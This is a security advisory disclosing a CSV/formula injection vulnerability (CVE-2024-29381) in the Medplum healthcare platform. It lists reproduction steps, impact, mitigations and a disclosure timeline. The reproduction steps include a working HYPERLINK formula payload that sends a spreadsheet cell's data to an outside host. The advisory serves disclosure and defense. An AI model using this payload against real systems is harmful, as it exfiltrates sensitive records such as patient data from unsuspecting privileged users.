CVE-2024-29381: CSV/Formula Injection in Medplum

CVE ID: CVE-2024-29381
Loginsoft ID: Loginsoft-2024-1012
Date: March 6, 2024
Severity: Medium (CVSS 3.1: 6.8)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
CWE: CWE-1236 — Improper Neutralization of Formula Elements in a CSV File
Affected: Medplum prior to v3.0.8
Fixed in: v3.0.8
Credit: Saharsh Agrawal (Loginsoft)

🔍 Overview

Medplum is affected by a CSV/formula injection vulnerability that poses a risk of exposing sensitive data. An attacker can inject a malicious payload into input fields. When a high-privileged user exports the data as CSV, the injected payload may be executed when the CSV file is opened in a spreadsheet application.

🎯 Steps to Reproduce

1. Create a new patient with the gender field set to the payload:

   =HYPERLINK("http://localhost:8181/?data="&F3,"Click Me")
   

2. Export the patient data in CSV format.
3. Open the CSV file.
4. Press the Ctrl key and left-click on the cell with the value Click Me.
5. This exposes the sensitive data of the user located in cell F3.

💥 Impact

Exposure of sensitive data. An attacker can exfiltrate data from cells in exported CSV files by tricking high-privileged users into clicking malicious hyperlinks generated from injected formulas.

🛡️ Mitigation

• Convert each field into text when exporting as CSV.
• Add filters to input fields to block formula payloads (e.g., values starting with =, +, -, @).
• Upgrade to Medplum v3.0.8 or later.

📅 Timeline

• Discovered: 15 February 2024
• Reported: 19 February 2024
• Patched: 03 March 2024

🔗 References

• Loginsoft – CSV/Formula Injection in Medplum
• NVD – CVE-2024-29381